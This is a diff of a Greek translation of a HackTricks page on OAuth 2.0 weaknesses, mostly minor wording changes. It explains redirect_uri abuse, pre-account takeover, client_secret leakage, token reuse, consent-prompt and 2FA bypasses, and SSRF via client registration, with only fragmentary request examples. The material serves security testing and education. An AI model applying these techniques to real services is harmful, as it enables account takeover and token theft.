Είναι σημαντικό να κατανοήσετε τα παρακάτω στοιχεία μέσα στο πλαίσιο OAuth 2.0:
|
||||
|
||||
* **ιδιοκτήτης πόρου**: Εσείς, ως **χρήστης/οντότητα**, εξουσιοδοτείτε την πρόσβαση στον πόρο σας, όπως οι αναρτήσεις του λογαριασμού σας στα κοινωνικά δίκτυα.
|
||||
* **διακομιστής πόρου**: Ο **διακομιστής που διαχειρίζεται τις αυθεντικοποιημένες αιτήσεις** αφού η εφαρμογή έχει εξασφαλίσει ένα `access token` εκ μέρους του `ιδιοκτήτη πόρου`, π.χ., **https://socialmedia.com**.
|
||||
* **εφαρμογή πελάτη**: Η **εφαρμογή που ζητά εξουσιοδότηση** από τον `ιδιοκτήτη πόρου`, όπως **https://example.com**.
|
||||
* **διακομιστής εξουσιοδότησης**: Ο **διακομιστής που εκδίδει `access tokens`** στην `εφαρμογή πελάτη` μετά την επιτυχή αυθεντικοποίηση του `ιδιοκτήτη πόρου` και την εξασφάλιση εξουσιοδότησης, π.χ., **https://socialmedia.com**.
|
||||
* **resource owner**: Εσείς, ως **χρήστης/οντότητα**, εξουσιοδοτείτε την πρόσβαση στους πόρους σας, όπως οι αναρτήσεις σας στα κοινωνικά δίκτυα.
|
||||
* **resource server**: Ο **διακομιστής που διαχειρίζεται τις αυθεντικοποιημένες αιτήσεις** αφού η εφαρμογή έχει εξασφαλίσει ένα `access token` εκ μέρους του `resource owner`, π.χ., **https://socialmedia.com**.
|
||||
* **client application**: Η **εφαρμογή που ζητά εξουσιοδότηση** από τον `resource owner`, όπως **https://example.com**.
|
||||
* **authorization server**: Ο **διακομιστής που εκδίδει `access tokens`** στην `client application` μετά την επιτυχή αυθεντικοποίηση του `resource owner` και την εξασφάλιση εξουσιοδότησης, π.χ., **https://socialmedia.com**.
|
||||
* **client\_id**: Ένας δημόσιος, μοναδικός αναγνωριστικός αριθμός για την εφαρμογή.
|
||||
* **client\_secret:** Ένα εμπιστευτικό κλειδί, γνωστό μόνο στην εφαρμογή και τον διακομιστή εξουσιοδότησης, που χρησιμοποιείται για τη δημιουργία `access_tokens`.
|
||||
* **client\_secret:** Ένα εμπιστευτικό κλειδί, γνωστό μόνο στην εφαρμογή και τον εξουσιοδοτικό διακομιστή, που χρησιμοποιείται για τη δημιουργία `access_tokens`.
|
||||
* **response\_type**: Μια τιμή που καθορίζει **τον τύπο του αιτούμενου token**, όπως `code`.
|
||||
* **scope**: Το **επίπεδο πρόσβασης** που ζητά η `εφαρμογή πελάτη` από τον `ιδιοκτήτη πόρου`.
|
||||
* **scope**: Το **επίπεδο πρόσβασης** που ζητά η `client application` από τον `resource owner`.
|
||||
* **redirect\_uri**: Η **διεύθυνση URL στην οποία ανακατευθύνεται ο χρήστης μετά την εξουσιοδότηση**. Αυτό συνήθως πρέπει να ευθυγραμμίζεται με την προεγγεγραμμένη διεύθυνση URL ανακατεύθυνσης.
|
||||
* **state**: Ένα παράμετρος για **τη διατήρηση δεδομένων κατά τη διάρκεια της ανακατεύθυνσης του χρήστη προς και από τον διακομιστή εξουσιοδότησης**. Η μοναδικότητά του είναι κρίσιμη για να λειτουργεί ως **μηχανισμός προστασίας CSRF**.
|
||||
* **grant\_type**: Ένα παράμετρος που υποδεικνύει **τον τύπο χορήγησης και τον τύπο token που θα επιστραφεί**.
|
||||
* **code**: Ο κωδικός εξουσιοδότησης από τον `διακομιστή εξουσιοδότησης`, που χρησιμοποιείται σε συνδυασμό με `client_id` και `client_secret` από την εφαρμογή πελάτη για να αποκτήσει ένα `access_token`.
|
||||
* **access\_token**: Το **token που χρησιμοποιεί η εφαρμογή πελάτη για αιτήσεις API** εκ μέρους του `ιδιοκτήτη πόρου`.
|
||||
* **state**: Ένα παράμετρος για **τη διατήρηση δεδομένων κατά τη διάρκεια της ανακατεύθυνσης του χρήστη προς και από τον εξουσιοδοτικό διακομιστή**. Η μοναδικότητά του είναι κρίσιμη για να λειτουργεί ως **μηχανισμός προστασίας CSRF**.
|
||||
* **grant\_type**: Ένα παράμετρος που υποδεικνύει **τον τύπο χορήγησης και τον τύπο του token που θα επιστραφεί**.
|
||||
* **code**: Ο κωδικός εξουσιοδότησης από τον `authorization server`, που χρησιμοποιείται σε συνδυασμό με το `client_id` και το `client_secret` από την client application για να αποκτήσει ένα `access_token`.
|
||||
* **access\_token**: Το **token που χρησιμοποιεί η client application για αιτήσεις API** εκ μέρους του `resource owner`.
|
||||
* **refresh\_token**: Επιτρέπει στην εφαρμογή να **αποκτήσει ένα νέο `access_token` χωρίς να ζητήσει ξανά από τον χρήστη**.
|
||||
|
||||
### Flow
|
||||
|
||||
Η **πραγματική ροή OAuth** προχωρά ως εξής:
|
||||
|
||||
1. Πλοηγείστε στο [https://example.com](https://example.com) και επιλέξτε το κουμπί “Ενσωμάτωση με Κοινωνικά Δίκτυα”.
|
||||
2. Ο ιστότοπος στέλνει στη συνέχεια ένα αίτημα στο [https://socialmedia.com](https://socialmedia.com) ζητώντας την εξουσιοδότησή σας να επιτρέψετε στην εφαρμογή του https://example.com να έχει πρόσβαση στις αναρτήσεις σας. Το αίτημα διαρθρώνεται ως:
|
||||
1. Πλοηγείστε στο [https://example.com](https://example.com) και επιλέξτε το κουμπί “Integrate with Social Media”.
|
||||
2. Ο ιστότοπος στέλνει στη συνέχεια ένα αίτημα στο [https://socialmedia.com](https://socialmedia.com) ζητώντας την εξουσιοδότησή σας να επιτρέψετε στην εφαρμογή του https://example.com να έχει πρόσβαση στις αναρτήσεις σας. Το αίτημα διαμορφώνεται ως:
|
||||
```
|
||||
https://socialmedia.com/auth
|
||||
?response_type=code
|
||||
|
@ -73,9 +73,9 @@ Host: socialmedia.com
|
|||
|
||||
### Ανοιχτό redirect\_uri <a href="#cc36" id="cc36"></a>
|
||||
|
||||
Το `redirect_uri` είναι κρίσιμο για την ασφάλεια στις υλοποιήσεις OAuth και OpenID, καθώς καθορίζει πού αποστέλλονται ευαίσθητα δεδομένα, όπως οι κωδικοί εξουσιοδότησης, μετά την εξουσιοδότηση. Εάν είναι κακώς ρυθμισμένο, μπορεί να επιτρέψει στους επιτιθέμενους να ανακατευθύνουν αυτά τα αιτήματα σε κακόβουλους διακομιστές, διευκολύνοντας την κατάληψη λογαριασμού.
|
||||
Το `redirect_uri` είναι κρίσιμο για την ασφάλεια στις υλοποιήσεις OAuth και OpenID, καθώς καθορίζει πού αποστέλλονται τα ευαίσθητα δεδομένα, όπως οι κωδικοί εξουσιοδότησης, μετά την εξουσιοδότηση. Εάν είναι κακώς ρυθμισμένο, μπορεί να επιτρέψει στους επιτιθέμενους να ανακατευθύνουν αυτά τα αιτήματα σε κακόβουλους διακομιστές, διευκολύνοντας την κατάληψη λογαριασμού.
|
||||
|
||||
Οι τεχνικές εκμετάλλευσης ποικίλλουν ανάλογα με τη λογική επικύρωσης του διακομιστή εξουσιοδότησης. Μπορούν να κυμαίνονται από αυστηρή αντιστοίχιση διαδρομών έως την αποδοχή οποιασδήποτε διεύθυνσης URL εντός του καθορισμένου τομέα ή υποκαταλόγου. Κοινές μέθοδοι εκμετάλλευσης περιλαμβάνουν ανοιχτές ανακατευθύνσεις, διαδρομές διασύνδεσης, εκμετάλλευση αδύναμων regex και HTML injection για κλοπή token.
|
||||
Οι τεχνικές εκμετάλλευσης ποικίλλουν ανάλογα με τη λογική επικύρωσης του διακομιστή εξουσιοδότησης. Μπορούν να κυμαίνονται από αυστηρή αντιστοίχιση διαδρομών έως την αποδοχή οποιασδήποτε διεύθυνσης URL εντός του καθορισμένου τομέα ή υποκαταλόγου. Κοινές μέθοδοι εκμετάλλευσης περιλαμβάνουν ανοιχτές ανακατευθύνσεις, διαδρομές διασχίσεως, εκμετάλλευση αδύναμων regex και HTML injection για κλοπή token.
|
||||
|
||||
Εκτός από το `redirect_uri`, άλλες παράμετροι OAuth και OpenID όπως `client_uri`, `policy_uri`, `tos_uri` και `initiate_login_uri` είναι επίσης ευάλωτες σε επιθέσεις ανακατεύθυνσης. Αυτές οι παράμετροι είναι προαιρετικές και η υποστήριξή τους ποικίλλει μεταξύ των διακομιστών.
|
||||
|
||||
|
@ -100,13 +100,13 @@ https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</scrip
|
|||
### Pre Account Takeover <a href="#ebe4" id="ebe4"></a>
|
||||
|
||||
1. **Χωρίς Επικύρωση Email κατά τη Δημιουργία Λογαριασμού**: Οι επιτιθέμενοι μπορούν προληπτικά να δημιουργήσουν έναν λογαριασμό χρησιμοποιώντας το email του θύματος. Εάν το θύμα αργότερα χρησιμοποιήσει μια υπηρεσία τρίτου μέρους για σύνδεση, η εφαρμογή μπορεί ακούσια να συνδέσει αυτόν τον λογαριασμό τρίτου μέρους με τον προδημιουργημένο λογαριασμό του επιτιθέμενου, οδηγώντας σε μη εξουσιοδοτημένη πρόσβαση.
|
||||
2. **Εκμετάλλευση Χαλαρής Επικύρωσης Email OAuth**: Οι επιτιθέμενοι μπορεί να εκμεταλλευτούν υπηρεσίες OAuth που δεν επικυρώνουν emails, εγγραφόμενοι με την υπηρεσία τους και στη συνέχεια αλλάζοντας το email του λογαριασμού στο email του θύματος. Αυτή η μέθοδος κινδυνεύει επίσης με μη εξουσιοδοτημένη πρόσβαση στον λογαριασμό, παρόμοια με το πρώτο σενάριο αλλά μέσω διαφορετικού επιθετικού διαύλου.
|
||||
2. **Εκμετάλλευση Χαλαρής Επικύρωσης Email OAuth**: Οι επιτιθέμενοι μπορεί να εκμεταλλευτούν υπηρεσίες OAuth που δεν επικυρώνουν emails, εγγραφόμενοι με την υπηρεσία τους και στη συνέχεια αλλάζοντας το email του λογαριασμού στο email του θύματος. Αυτή η μέθοδος κινδυνεύει επίσης με μη εξουσιοδοτημένη πρόσβαση στον λογαριασμό, παρόμοια με το πρώτο σενάριο αλλά μέσω διαφορετικού επιθετικού καναλιού.
|
||||
|
||||
### Disclosure of Secrets <a href="#e177" id="e177"></a>
|
||||
|
||||
Η αναγνώριση και η προστασία των μυστικών παραμέτρων OAuth είναι κρίσιμη. Ενώ η **`client_id`** μπορεί να αποκαλυφθεί με ασφάλεια, η αποκάλυψη της **`client_secret`** ενέχει σημαντικούς κινδύνους. Εάν η `client_secret` παραβιαστεί, οι επιτιθέμενοι μπορούν να εκμεταλλευτούν την ταυτότητα και την εμπιστοσύνη της εφαρμογής για να **κλέψουν `access_tokens` χρηστών** και ιδιωτικές πληροφορίες.
|
||||
Η αναγνώριση και η προστασία των μυστικών παραμέτρων OAuth είναι κρίσιμη. Ενώ η **`client_id`** μπορεί να αποκαλυφθεί με ασφάλεια, η αποκάλυψη της **`client_secret`** ενέχει σημαντικούς κινδύνους. Εάν η `client_secret` παραβιαστεί, οι επιτιθέμενοι μπορούν να εκμεταλλευτούν την ταυτότητα και την εμπιστοσύνη της εφαρμογής για να **κλέψουν τα `access_tokens` χρηστών** και ιδιωτικές πληροφορίες.
|
||||
|
||||
Μια κοινή ευπάθεια προκύπτει όταν οι εφαρμογές χειρίζονται κατά λάθος την ανταλλαγή του κωδικού εξουσιοδότησης για ένα `access_token` στην πλευρά του πελάτη αντί στην πλευρά του διακομιστή. Αυτό το λάθος οδηγεί στην έκθεση της `client_secret`, επιτρέποντας στους επιτιθέμενους να δημιουργούν `access_tokens` υπό την κάλυψη της εφαρμογής. Επιπλέον, μέσω κοινωνικής μηχανικής, οι επιτιθέμενοι θα μπορούσαν να κλιμακώσουν τα προνόμια προσθέτοντας επιπλέον πεδία στην εξουσιοδότηση OAuth, εκμεταλλευόμενοι περαιτέρω την εμπιστοσύνη της εφαρμογής.
|
||||
Μια κοινή ευπάθεια προκύπτει όταν οι εφαρμογές χειρίζονται κατά λάθος την ανταλλαγή του κωδικού εξουσιοδότησης για ένα `access_token` στην πλευρά του πελάτη αντί στην πλευρά του διακομιστή. Αυτό το λάθος οδηγεί στην έκθεση της `client_secret`, επιτρέποντας στους επιτιθέμενους να δημιουργήσουν `access_tokens` υπό την κάλυψη της εφαρμογής. Επιπλέον, μέσω κοινωνικής μηχανικής, οι επιτιθέμενοι θα μπορούσαν να κλιμακώσουν τα προνόμια προσθέτοντας επιπλέον πεδία στην εξουσιοδότηση OAuth, εκμεταλλευόμενοι περαιτέρω την εμπιστοσύνη της εφαρμογής.
|
||||
|
||||
### Client Secret Bruteforce
|
||||
|
||||
|
@ -164,59 +164,63 @@ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ
|
|||
|
||||
{% embed url="https://cloud.hacktricks.xyz/pentesting-cloud/aws-pentesting/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum" %}
|
||||
|
||||
### Εκμετάλλευση άλλων tokens εφαρμογών <a href="#bda5" id="bda5"></a>
|
||||
### Εκμετάλλευση άλλων tokens <a href="#bda5" id="bda5"></a>
|
||||
|
||||
Όπως [**αναφέρεται σε αυτή τη μελέτη**](https://salt.security/blog/oh-auth-abusing-oauth-to-take-over-millions-of-accounts), οι ροές OAuth που αναμένουν να λάβουν το **token** (και όχι έναν κωδικό) θα μπορούσαν να είναι ευάλωτες αν δεν ελέγχουν ότι το token ανήκει στην εφαρμογή.
|
||||
|
||||
Αυτό συμβαίνει επειδή ένας **επιτιθέμενος** θα μπορούσε να δημιουργήσει μια **εφαρμογή που υποστηρίζει OAuth και να συνδεθεί με το Facebook** (για παράδειγμα) στην δική του εφαρμογή. Στη συνέχεια, μόλις ένα θύμα συνδεθεί με το Facebook στην **εφαρμογή του επιτιθέμενου**, ο επιτιθέμενος θα μπορούσε να αποκτήσει το **OAuth token του χρήστη που δόθηκε στην εφαρμογή του και να το χρησιμοποιήσει για να συνδεθεί στην εφαρμογή OAuth του θύματος χρησιμοποιώντας το token του χρήστη του θύματος**.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Επομένως, αν ο επιτιθέμενος καταφέρει να αποκτήσει πρόσβαση στην δική του OAuth εφαρμογή, θα είναι σε θέση να αναλάβει τον λογαριασμό του θύματος σε εφαρμογές που αναμένουν ένα token και δεν ελέγχουν αν το token έχει παραχωρηθεί στο ID της εφαρμογής τους.
|
||||
Επομένως, αν ο επιτιθέμενος καταφέρει να αποκτήσει πρόσβαση στην δική του εφαρμογή OAuth, θα είναι σε θέση να αναλάβει τον λογαριασμό του θύματος σε εφαρμογές που αναμένουν ένα token και δεν ελέγχουν αν το token έχει παραχωρηθεί στο ID της εφαρμογής τους.
|
||||
{% endhint %}
|
||||
|
||||
### Δύο σύνδεσμοι & cookie <a href="#bda5" id="bda5"></a>
|
||||
|
||||
Σύμφωνα με [**αυτή τη μελέτη**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), ήταν δυνατό να κάνετε ένα θύμα να ανοίξει μια σελίδα με ένα **returnUrl** που δείχνει στον host του επιτιθέμενου. Αυτή η πληροφορία θα **αποθηκευόταν σε ένα cookie (RU)** και σε ένα **μετέπειτα βήμα** το **prompt** θα **ρωτούσε** τον **χρήστη** αν θέλει να δώσει πρόσβαση σε αυτόν τον host του επιτιθέμενου.
|
||||
Σύμφωνα με [**αυτή τη μελέτη**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), ήταν δυνατό να κάνετε ένα θύμα να ανοίξει μια σελίδα με ένα **returnUrl** που δείχνει στον διακομιστή του επιτιθέμενου. Αυτή η πληροφορία θα **αποθηκευόταν σε ένα cookie (RU)** και σε **μετέπειτα βήμα** το **prompt** θα **ρωτούσε** τον **χρήστη** αν θέλει να δώσει πρόσβαση σε αυτόν τον διακομιστή του επιτιθέμενου.
|
||||
|
||||
Για να παρακαμφθεί αυτό το prompt, ήταν δυνατό να ανοίξει μια καρτέλα για να ξεκινήσει τη **ροή Oauth** που θα ρύθμιζε αυτό το cookie RU χρησιμοποιώντας το **returnUrl**, να κλείσει την καρτέλα πριν εμφανιστεί το prompt και να ανοίξει μια νέα καρτέλα χωρίς αυτή την τιμή. Στη συνέχεια, το **prompt δεν θα ενημερώσει για τον host του επιτιθέμενου**, αλλά το cookie θα ρυθμιστεί σε αυτόν, έτσι το **token θα σταλεί στον host του επιτιθέμενου** κατά την ανακατεύθυνση.
|
||||
Για να παρακαμφθεί αυτό το prompt, ήταν δυνατό να ανοίξει μια καρτέλα για να ξεκινήσει τη **ροή Oauth** που θα ρύθμιζε αυτό το cookie RU χρησιμοποιώντας το **returnUrl**, να κλείσει την καρτέλα πριν εμφανιστεί το prompt και να ανοίξει μια νέα καρτέλα χωρίς αυτή την τιμή. Στη συνέχεια, το **prompt δεν θα ενημέρωνε για τον διακομιστή του επιτιθέμενου**, αλλά το cookie θα ρυθμιστεί σε αυτόν, έτσι το **token θα σταλεί στον διακομιστή του επιτιθέμενου** κατά την ανακατεύθυνση.
|
||||
|
||||
### Παράκαμψη αλληλεπίδρασης prompt <a href="#bda5" id="bda5"></a>
|
||||
|
||||
Όπως εξηγείται [**σε αυτό το βίντεο**](https://www.youtube.com/watch?v=n9x7\_J\_a\_7Q), ορισμένες υλοποιήσεις OAuth επιτρέπουν να δηλωθεί η παράμετρος **`prompt`** GET ως None (**`&prompt=none`**) για να **αποτραπεί η επιβεβαίωση** της παραχωρηθείσας πρόσβασης σε ένα prompt στο διαδίκτυο αν είναι ήδη συνδεδεμένοι στην πλατφόρμα.
|
||||
Όπως εξηγείται [**σε αυτό το βίντεο**](https://www.youtube.com/watch?v=n9x7\_J\_a\_7Q), ορισμένες υλοποιήσεις OAuth επιτρέπουν να υποδειχθεί η παράμετρος **`prompt`** GET ως None (**`&prompt=none`**) για να **αποτραπεί η ερώτηση στους χρήστες να επιβεβαιώσουν** την παραχωρηθείσα πρόσβαση σε ένα prompt στο διαδίκτυο αν είναι ήδη συνδεδεμένοι στην πλατφόρμα.
|
||||
|
||||
### response\_mode
|
||||
|
||||
Όπως [**εξηγείται σε αυτό το βίντεο**](https://www.youtube.com/watch?v=n9x7\_J\_a\_7Q), μπορεί να είναι δυνατό να δηλωθεί η παράμετρος **`response_mode`** για να δηλώσετε πού θέλετε να παρασχεθεί ο κωδικός στην τελική διεύθυνση URL:
|
||||
Όπως [**εξηγείται σε αυτό το βίντεο**](https://www.youtube.com/watch?v=n9x7\_J\_a\_7Q), μπορεί να είναι δυνατό να υποδειχθεί η παράμετρος **`response_mode`** για να υποδείξετε πού θέλετε να παρασχεθεί ο κωδικός στην τελική διεύθυνση URL:
|
||||
|
||||
* `response_mode=query` -> Ο κωδικός παρέχεται μέσα σε μια παράμετρο GET: `?code=2397rf3gu93f`
|
||||
* `response_mode=fragment` -> Ο κωδικός παρέχεται μέσα στην παράμετρο τμήματος URL `#code=2397rf3gu93f`
|
||||
* `response_mode=form_post` -> Ο κωδικός παρέχεται μέσα σε μια φόρμα POST με μια είσοδο που ονομάζεται `code` και την τιμή
|
||||
* `response_mode=web_message` -> Ο κωδικός αποστέλλεται σε ένα μήνυμα post: `window.opener.postMessage({"code": "asdasdasd...`
|
||||
|
||||
### Ροή OAuth ROPC - Παράκαμψη 2 FA <a href="#b440" id="b440"></a>
|
||||
|
||||
Σύμφωνα με [**αυτή την ανάρτηση στο blog**](https://cybxis.medium.com/a-bypass-on-gitlabs-login-email-verification-via-oauth-ropc-flow-e194242cad96), αυτή είναι μια ροή OAuth που επιτρέπει τη σύνδεση στο OAuth μέσω **ονόματος χρήστη** και **κωδικού πρόσβασης**. Αν κατά τη διάρκεια αυτής της απλής ροής επιστραφεί ένα **token** με πρόσβαση σε όλες τις ενέργειες που μπορεί να εκτελέσει ο χρήστης, τότε είναι δυνατό να παρακαμφθεί η 2FA χρησιμοποιώντας αυτό το token.
|
||||
|
||||
### Παράμετροι SSRFs <a href="#bda5" id="bda5"></a>
|
||||
|
||||
[**Ελέγξτε αυτή την έρευνα**](https://portswigger.net/research/hidden-oauth-attack-vectors) **Για περισσότερες λεπτομέρειες σχετικά με αυτή την τεχνική.**
|
||||
[**Ελέγξτε αυτή την έρευνα**](https://portswigger.net/research/hidden-oauth-attack-vectors) **Για περαιτέρω λεπτομέρειες σχετικά με αυτή την τεχνική.**
|
||||
|
||||
Η Δυναμική Εγγραφή Πελάτη στο OAuth λειτουργεί ως λιγότερο προφανής αλλά κρίσιμος παράγοντας για τις ευπάθειες ασφαλείας, ειδικότερα για επιθέσεις **Server-Side Request Forgery (SSRF)**. Αυτό το endpoint επιτρέπει στους διακομιστές OAuth να λαμβάνουν λεπτομέρειες σχετικά με τις εφαρμογές πελατών, συμπεριλαμβανομένων ευαίσθητων URL που θα μπορούσαν να εκμεταλλευτούν.
|
||||
Η Δυναμική Εγγραφή Πελάτη στο OAuth χρησιμεύει ως λιγότερο προφανής αλλά κρίσιμος παράγοντας για τις ευπάθειες ασφαλείας, ειδικά για επιθέσεις **Server-Side Request Forgery (SSRF)**. Αυτό το endpoint επιτρέπει στους διακομιστές OAuth να λαμβάνουν λεπτομέρειες σχετικά με τις εφαρμογές πελατών, συμπεριλαμβανομένων ευαίσθητων URL που θα μπορούσαν να εκμεταλλευτούν.
|
||||
|
||||
**Κύρια Σημεία:**
|
||||
|
||||
* **Δυναμική Εγγραφή Πελάτη** συχνά αντιστοιχεί σε `/register` και δέχεται λεπτομέρειες όπως `client_name`, `client_secret`, `redirect_uris`, και URL για λογότυπα ή JSON Web Key Sets (JWKs) μέσω αιτημάτων POST.
|
||||
* **Δυναμική Εγγραφή Πελάτη** συχνά αντιστοιχεί στο `/register` και δέχεται λεπτομέρειες όπως `client_name`, `client_secret`, `redirect_uris`, και URL για λογότυπα ή JSON Web Key Sets (JWKs) μέσω αιτημάτων POST.
|
||||
* Αυτή η δυνατότητα συμμορφώνεται με τις προδιαγραφές που καθορίζονται στο **RFC7591** και **OpenID Connect Registration 1.0**, οι οποίες περιλαμβάνουν παραμέτρους που ενδέχεται να είναι ευάλωτες σε SSRF.
|
||||
* Η διαδικασία εγγραφής μπορεί ακούσια να εκθέσει τους διακομιστές σε SSRF με διάφορους τρόπους:
|
||||
* **`logo_uri`**: Ένα URL για το λογότυπο της εφαρμογής πελάτη που μπορεί να ανακτηθεί από τον διακομιστή, προκαλώντας SSRF ή οδηγώντας σε XSS αν το URL δεν διαχειριστεί σωστά.
|
||||
* **`jwks_uri`**: Ένα URL προς το έγγραφο JWK του πελάτη, το οποίο αν κατασκευαστεί κακόβουλα, μπορεί να προκαλέσει τον διακομιστή να κάνει εξωτερικά αιτήματα σε έναν διακομιστή που ελέγχεται από τον επιτιθέμενο.
|
||||
* **`jwks_uri`**: Ένα URL στο έγγραφο JWK του πελάτη, το οποίο αν κατασκευαστεί κακόβουλα, μπορεί να προκαλέσει τον διακομιστή να κάνει εξωτερικά αιτήματα σε έναν διακομιστή που ελέγχεται από τον επιτιθέμενο.
|
||||
* **`sector_identifier_uri`**: Αναφέρεται σε έναν πίνακα JSON των `redirect_uris`, τον οποίο ο διακομιστής μπορεί να ανακτήσει, δημιουργώντας μια ευκαιρία SSRF.
|
||||
* **`request_uris`**: Αναφέρει τις επιτρεπόμενες URIs αιτημάτων για τον πελάτη, οι οποίες μπορούν να εκμεταλλευτούν αν ο διακομιστής ανακτήσει αυτές τις URIs στην αρχή της διαδικασίας εξουσιοδότησης.
|
||||
* **`request_uris`**: Λίστα επιτρεπόμενων URI αιτημάτων για τον πελάτη, που μπορεί να εκμεταλλευτεί αν ο διακομιστής ανακτήσει αυτές τις URI στην αρχή της διαδικασίας εξουσιοδότησης.
|
||||
|
||||
**Στρατηγική Εκμετάλλευσης:**
|
||||
|
||||
* Το SSRF μπορεί να ενεργοποιηθεί καταχωρώντας έναν νέο πελάτη με κακόβουλα URLs σε παραμέτρους όπως `logo_uri`, `jwks_uri`, ή `sector_identifier_uri`.
|
||||
* Ενώ η άμεση εκμετάλλευση μέσω `request_uris` μπορεί να μετριαστεί από ελέγχους whitelist, η παροχή μιας προεγγεγραμμένης, ελεγχόμενης από τον επιτιθέμενο `request_uri` μπορεί να διευκολύνει το SSRF κατά τη διάρκεια της φάσης εξουσιοδότησης.
|
||||
* Ενώ η άμεση εκμετάλλευση μέσω `request_uris` μπορεί να μετριαστεί από ελέγχους λευκής λίστας, η παροχή μιας προεγγεγραμμένης, ελεγχόμενης από τον επιτιθέμενο `request_uri` μπορεί να διευκολύνει το SSRF κατά τη διάρκεια της φάσης εξουσιοδότησης.
|
||||
|
||||
## Συνθήκες Αγώνα Παρόχων OAuth
|
||||
|
||||
Αν η πλατφόρμα που δοκιμάζετε είναι ένας πάροχος OAuth [**διαβάστε αυτό για να δοκιμάσετε πιθανές Συνθήκες Αγώνα**](race-condition.md).
|
||||
Αν η πλατφόρμα που δοκιμάζετε είναι πάροχος OAuth [**διαβάστε αυτό για να δοκιμάσετε πιθανές Συνθήκες Αγώνα**](race-condition.md).
|
||||
|
||||
## Αναφορές
|
||||
|
||||
|
@ -228,15 +232,15 @@ aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ
|
|||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Μάθετε & εξασκηθείτε στο Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Μάθετε & εξασκηθείτε στο Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Μάθετε & εξασκηθείτε στο Hacking AWS:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Μάθετε & εξασκηθείτε στο Hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Υποστήριξη HackTricks</summary>
|
||||
|
||||
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
|
||||
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε μας στο** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue